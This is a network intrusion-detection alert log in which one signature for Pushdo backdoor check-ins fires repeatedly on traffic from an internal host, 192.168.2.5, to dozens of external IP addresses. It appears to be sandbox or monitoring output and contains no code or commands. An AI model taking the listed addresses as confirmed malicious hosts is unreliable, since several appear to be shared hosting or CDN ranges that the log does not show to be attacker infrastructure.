2024-10-25T11:18:17.553686+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53011	85.131.197.10	80	TCP
2024-10-25T11:18:17.573549+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53017	62.122.190.121	80	TCP
2024-10-25T11:18:17.586258+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53023	5.196.166.214	80	TCP
2024-10-25T11:18:17.734731+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53015	104.26.15.53	80	TCP
2024-10-25T11:18:17.824182+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52861	193.166.255.171	80	TCP
2024-10-25T11:18:17.850951+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52987	74.208.236.101	80	TCP
2024-10-25T11:18:17.876118+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53025	13.248.252.114	80	TCP
2024-10-25T11:18:17.906377+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53031	188.114.97.3	80	TCP
2024-10-25T11:18:17.935270+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53026	54.161.222.85	80	TCP
2024-10-25T11:18:17.962895+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53027	103.224.182.241	80	TCP
2024-10-25T11:18:17.962940+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53029	103.224.182.241	80	TCP
2024-10-25T11:18:17.978208+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53030	192.252.154.18	80	TCP
2024-10-25T11:18:17.981749+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53038	188.114.97.3	80	TCP
2024-10-25T11:18:17.984433+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53033	208.109.214.162	80	TCP
2024-10-25T11:18:18.014082+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53040	154.53.43.150	80	TCP
2024-10-25T11:18:18.025295+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53039	141.193.213.11	80	TCP
2024-10-25T11:18:18.056918+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53041	208.109.214.162	80	TCP
2024-10-25T11:18:18.084056+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53028	139.59.171.124	80	TCP
2024-10-25T11:18:18.097477+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53031	188.114.97.3	80	TCP
2024-10-25T11:18:18.167474+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53033	208.109.214.162	80	TCP
2024-10-25T11:18:18.190801+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53040	154.53.43.150	80	TCP
2024-10-25T11:18:18.214076+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53035	60.43.154.138	80	TCP
2024-10-25T11:18:18.214827+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53039	141.193.213.11	80	TCP
2024-10-25T11:18:18.233036+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53041	208.109.214.162	80	TCP
2024-10-25T11:18:18.371923+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53028	139.59.171.124	80	TCP
2024-10-25T11:18:18.381400+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53044	188.114.97.3	80	TCP
2024-10-25T11:18:18.520465+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53035	60.43.154.138	80	TCP
2024-10-25T11:18:18.583504+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53047	154.53.43.150	80	TCP
2024-10-25T11:18:18.646175+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53048	192.124.249.10	80	TCP
2024-10-25T11:18:18.763719+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53046	80.74.154.6	80	TCP
2024-10-25T11:18:18.766323+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53047	154.53.43.150	80	TCP
2024-10-25T11:18:19.016198+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53049	185.80.51.179	80	TCP
2024-10-25T11:18:19.049058+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53046	80.74.154.6	80	TCP
2024-10-25T11:18:19.062237+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53051	34.218.204.173	80	TCP
2024-10-25T11:18:19.101932+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53037	104.26.10.81	80	TCP
2024-10-25T11:18:19.227184+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53057	81.2.194.241	80	TCP
2024-10-25T11:18:19.262844+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53055	93.187.206.66	80	TCP
2024-10-25T11:18:19.296249+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53049	185.80.51.179	80	TCP
2024-10-25T11:18:19.303513+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53056	93.187.206.66	80	TCP
2024-10-25T11:18:19.338918+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53058	122.128.109.107	80	TCP
2024-10-25T11:18:19.421593+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53061	172.67.173.200	80	TCP
2024-10-25T11:18:19.503359+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53062	198.185.159.144	80	TCP
2024-10-25T11:18:19.509944+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53057	81.2.194.241	80	TCP
2024-10-25T11:18:19.597360+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53061	172.67.173.200	80	TCP
2024-10-25T11:18:19.711950+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53045	104.26.10.81	80	TCP
2024-10-25T11:18:19.820440+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53060	116.211.150.37	80	TCP
2024-10-25T11:18:19.885960+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53063	122.128.109.107	80	TCP
2024-10-25T11:18:19.989619+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53065	135.181.73.98	80	TCP
2024-10-25T11:18:20.010754+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53066	202.254.236.40	80	TCP
2024-10-25T11:18:20.313426+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53065	135.181.73.98	80	TCP
2024-10-25T11:18:20.324357+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53066	202.254.236.40	80	TCP
2024-10-25T11:18:20.380942+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53068	46.242.238.60	80	TCP
2024-10-25T11:18:20.542554+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53069	188.114.96.3	80	TCP
2024-10-25T11:18:20.686941+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53069	188.114.96.3	80	TCP
2024-10-25T11:18:20.715954+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53071	107.180.98.101	80	TCP
2024-10-25T11:18:20.777213+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53072	69.163.239.62	80	TCP
2024-10-25T11:18:20.847722+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53064	188.165.133.163	80	TCP
2024-10-25T11:18:20.884991+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53071	107.180.98.101	80	TCP
2024-10-25T11:18:20.903136+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53076	107.180.98.101	80	TCP
2024-10-25T11:18:20.961704+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53075	104.26.3.124	80	TCP
2024-10-25T11:18:20.970862+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53072	69.163.239.62	80	TCP
2024-10-25T11:18:21.070307+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53076	107.180.98.101	80	TCP
2024-10-25T11:18:21.086876+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53074	104.21.66.46	80	TCP
2024-10-25T11:18:21.088835+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53077	3.94.41.167	80	TCP
2024-10-25T11:18:21.103819+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53079	96.127.180.42	80	TCP
2024-10-25T11:18:21.115177+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53064	188.165.133.163	80	TCP
2024-10-25T11:18:21.198263+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53075	104.26.3.124	80	TCP
2024-10-25T11:18:21.209397+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53078	51.79.51.72	80	TCP
2024-10-25T11:18:21.268568+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53079	96.127.180.42	80	TCP
2024-10-25T11:18:21.458910+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53081	188.114.96.3	80	TCP
2024-10-25T11:18:21.658913+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53081	188.114.96.3	80	TCP
2024-10-25T11:18:21.825254+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53085	3.94.41.167	80	TCP
2024-10-25T11:18:21.941093+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53084	5.189.128.121	80	TCP
2024-10-25T11:18:21.986031+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53088	3.94.41.167	80	TCP
2024-10-25T11:18:22.149159+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53090	69.163.182.181	80	TCP
2024-10-25T11:18:22.165267+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53083	185.53.177.50	80	TCP
2024-10-25T11:18:22.216131+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53084	5.189.128.121	80	TCP
2024-10-25T11:18:22.246913+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53089	108.167.164.216	80	TCP
2024-10-25T11:18:22.247219+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53091	75.119.202.130	80	TCP
2024-10-25T11:18:22.257027+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53087	183.90.183.73	80	TCP
2024-10-25T11:18:22.380987+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53086	185.53.177.50	80	TCP
2024-10-25T11:18:22.662992+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53092	23.227.38.74	80	TCP
2024-10-25T11:18:22.735459+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53094	3.94.41.167	80	TCP
2024-10-25T11:18:22.751456+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53093	217.19.237.54	80	TCP
2024-10-25T11:18:23.200965+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52970	137.118.26.67	80	TCP
2024-10-25T11:18:23.259789+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53095	69.163.182.181	80	TCP
2024-10-25T11:18:23.264292+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53096	75.119.202.130	80	TCP
2024-10-25T11:18:23.386200+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53097	104.196.26.65	80	TCP
2024-10-25T11:18:23.465699+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	52981	198.100.146.220	80	TCP
2024-10-25T11:18:23.545148+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53099	13.248.169.48	80	TCP
2024-10-25T11:18:23.562756+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53098	217.79.184.35	80	TCP
2024-10-25T11:18:23.600349+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53097	104.196.26.65	80	TCP
2024-10-25T11:18:23.748952+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53101	144.76.24.9	80	TCP
2024-10-25T11:18:23.952152+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53103	188.114.97.3	80	TCP
2024-10-25T11:18:24.050183+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53104	147.154.3.56	80	TCP
2024-10-25T11:18:24.087272+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53102	18.245.31.21	80	TCP
2024-10-25T11:18:24.359590+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53102	18.245.31.21	80	TCP
2024-10-25T11:18:24.444195+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53106	188.166.152.188	80	TCP
2024-10-25T11:18:24.487572+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53005	198.100.146.220	80	TCP
2024-10-25T11:18:24.514112+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53107	3.65.101.129	80	TCP
2024-10-25T11:18:24.780572+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53107	3.65.101.129	80	TCP
2024-10-25T11:18:24.879194+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53109	85.131.197.10	80	TCP
2024-10-25T11:18:25.001824+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53100	213.165.251.217	80	TCP
2024-10-25T11:18:25.262182+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53111	195.78.66.65	80	TCP
2024-10-25T11:18:25.262191+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53112	5.196.166.214	80	TCP
2024-10-25T11:18:25.262191+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53107	3.65.101.129	80	TCP
2024-10-25T11:18:25.262433+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53109	85.131.197.10	80	TCP
2024-10-25T11:18:25.325834+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53113	211.1.226.67	80	TCP
2024-10-25T11:18:25.473080+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53114	23.227.38.74	80	TCP
2024-10-25T11:18:25.552857+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53107	3.65.101.129	80	TCP
2024-10-25T11:18:25.574584+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53110	74.208.236.101	80	TCP
2024-10-25T11:18:25.630775+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53113	211.1.226.67	80	TCP
2024-10-25T11:18:25.801088+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53107	3.65.101.129	80	TCP
2024-10-25T11:18:25.987213+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53117	188.114.97.3	80	TCP
2024-10-25T11:18:26.057559+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53118	165.22.45.169	80	TCP
2024-10-25T11:18:26.166550+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53119	103.224.182.253	80	TCP
2024-10-25T11:18:26.255248+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53118	165.22.45.169	80	TCP
2024-10-25T11:18:26.257107+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53120	13.248.252.114	80	TCP
2024-10-25T11:18:26.680164+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53050	193.166.255.171	80	TCP
2024-10-25T11:18:26.682713+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53124	208.109.214.162	80	TCP
2024-10-25T11:18:26.721023+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53122	35.164.78.200	80	TCP
2024-10-25T11:18:26.841400+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53125	103.224.182.253	80	TCP
2024-10-25T11:18:26.855636+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53124	208.109.214.162	80	TCP
2024-10-25T11:18:27.146828+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53123	93.187.206.66	80	TCP
2024-10-25T11:18:27.148054+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53127	103.224.182.241	80	TCP
2024-10-25T11:18:27.148274+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53128	103.224.182.253	80	TCP
2024-10-25T11:18:27.185971+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53126	213.186.33.40	80	TCP
2024-10-25T11:18:27.373430+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53129	154.53.43.150	80	TCP
2024-10-25T11:18:27.452197+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53126	213.186.33.40	80	TCP
2024-10-25T11:18:27.564250+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53129	154.53.43.150	80	TCP
2024-10-25T11:18:27.600924+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53121	104.26.10.81	80	TCP
2024-10-25T11:18:27.851292+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53130	103.224.182.241	80	TCP
2024-10-25T11:18:27.852086+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53131	103.224.182.253	80	TCP
2024-10-25T11:18:27.932237+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53067	96.91.204.114	80	TCP
2024-10-25T11:18:28.550726+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53070	96.91.204.114	80	TCP
2024-10-25T11:18:28.603424+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53073	64.125.133.18	80	TCP
2024-10-25T11:18:28.918763+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53133	122.128.109.107	80	TCP
2024-10-25T11:18:29.066448+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53080	64.125.133.18	80	TCP
2024-10-25T11:18:29.571500+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53135	188.114.96.3	80	TCP
2024-10-25T11:18:29.716843+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53136	107.180.98.101	80	TCP
2024-10-25T11:18:29.786705+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53135	188.114.96.3	80	TCP
2024-10-25T11:18:29.867647+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53137	188.114.96.3	80	TCP
2024-10-25T11:18:29.884223+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53136	107.180.98.101	80	TCP
2024-10-25T11:18:30.081645+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53137	188.114.96.3	80	TCP
2024-10-25T11:18:31.051966+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53140	185.53.177.50	80	TCP
2024-10-25T11:18:31.159195+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53139	104.218.10.254	80	TCP
2024-10-25T11:18:31.558248+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53141	104.218.10.254	80	TCP
2024-10-25T11:18:32.443208+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53142	157.112.176.4	80	TCP
2024-10-25T11:18:32.451837+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53108	198.100.146.220	80	TCP
2024-10-25T11:18:33.098506+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53143	157.112.176.4	80	TCP
2024-10-25T11:18:33.142507+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53144	173.254.28.29	80	TCP
2024-10-25T11:18:33.612718+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53144	173.254.28.29	80	TCP
2024-10-25T11:18:34.135218+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53146	173.254.28.29	80	TCP
2024-10-25T11:18:34.321869+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53146	173.254.28.29	80	TCP
2024-10-25T11:18:34.499952+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53147	157.112.182.239	80	TCP
2024-10-25T11:18:35.177827+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53149	103.224.182.253	80	TCP
2024-10-25T11:18:35.266178+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53151	192.124.249.20	80	TCP
2024-10-25T11:18:35.286204+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53155	3.19.116.195	80	TCP
2024-10-25T11:18:35.302346+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53148	157.112.182.239	80	TCP
2024-10-25T11:18:35.340841+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53157	70.39.251.249	80	TCP
2024-10-25T11:18:35.359740+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53152	188.114.97.3	80	TCP
2024-10-25T11:18:35.375428+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53153	104.21.23.9	80	TCP
2024-10-25T11:18:35.413489+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53151	192.124.249.20	80	TCP
2024-10-25T11:18:35.489659+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53156	80.93.82.33	80	TCP
2024-10-25T11:18:35.499417+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53159	34.218.204.173	80	TCP
2024-10-25T11:18:35.503353+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53157	70.39.251.249	80	TCP
2024-10-25T11:18:35.545887+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53154	59.106.19.204	80	TCP
2024-10-25T11:18:35.546565+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53158	118.27.125.181	80	TCP
2024-10-25T11:18:35.607759+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53152	188.114.97.3	80	TCP
2024-10-25T11:18:35.730870+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53156	80.93.82.33	80	TCP
2024-10-25T11:18:35.793673+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53132	96.91.204.114	80	TCP
2024-10-25T11:18:35.848596+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53152	188.114.97.3	80	TCP
2024-10-25T11:18:35.889826+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53160	103.224.182.253	80	TCP
2024-10-25T11:18:35.972316+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53161	3.19.116.195	80	TCP
2024-10-25T11:18:36.051732+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53163	104.26.7.221	80	TCP
2024-10-25T11:18:36.087050+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53162	34.149.87.45	80	TCP
2024-10-25T11:18:36.096131+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53152	188.114.97.3	80	TCP
2024-10-25T11:18:36.221368+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53167	104.21.23.9	80	TCP
2024-10-25T11:18:36.270045+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53171	3.19.116.195	80	TCP
2024-10-25T11:18:36.285435+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53172	70.39.251.249	80	TCP
2024-10-25T11:18:36.285915+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53168	192.124.249.20	80	TCP
2024-10-25T11:18:36.300697+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53176	104.21.88.198	80	TCP
2024-10-25T11:18:36.335774+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53152	188.114.97.3	80	TCP
2024-10-25T11:18:36.337216+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53169	188.114.97.3	80	TCP
2024-10-25T11:18:36.337574+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53177	185.15.129.58	80	TCP
2024-10-25T11:18:36.372210+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53167	104.21.23.9	80	TCP
2024-10-25T11:18:36.438391+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53176	104.21.88.198	80	TCP
2024-10-25T11:18:36.450723+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53174	80.93.82.33	80	TCP
2024-10-25T11:18:36.460496+0200	2016867	ET MALWARE Backdoor.Win32.Pushdo.s Checkin	1	192.168.2.5	53175	34.218.204.173	80	TCP
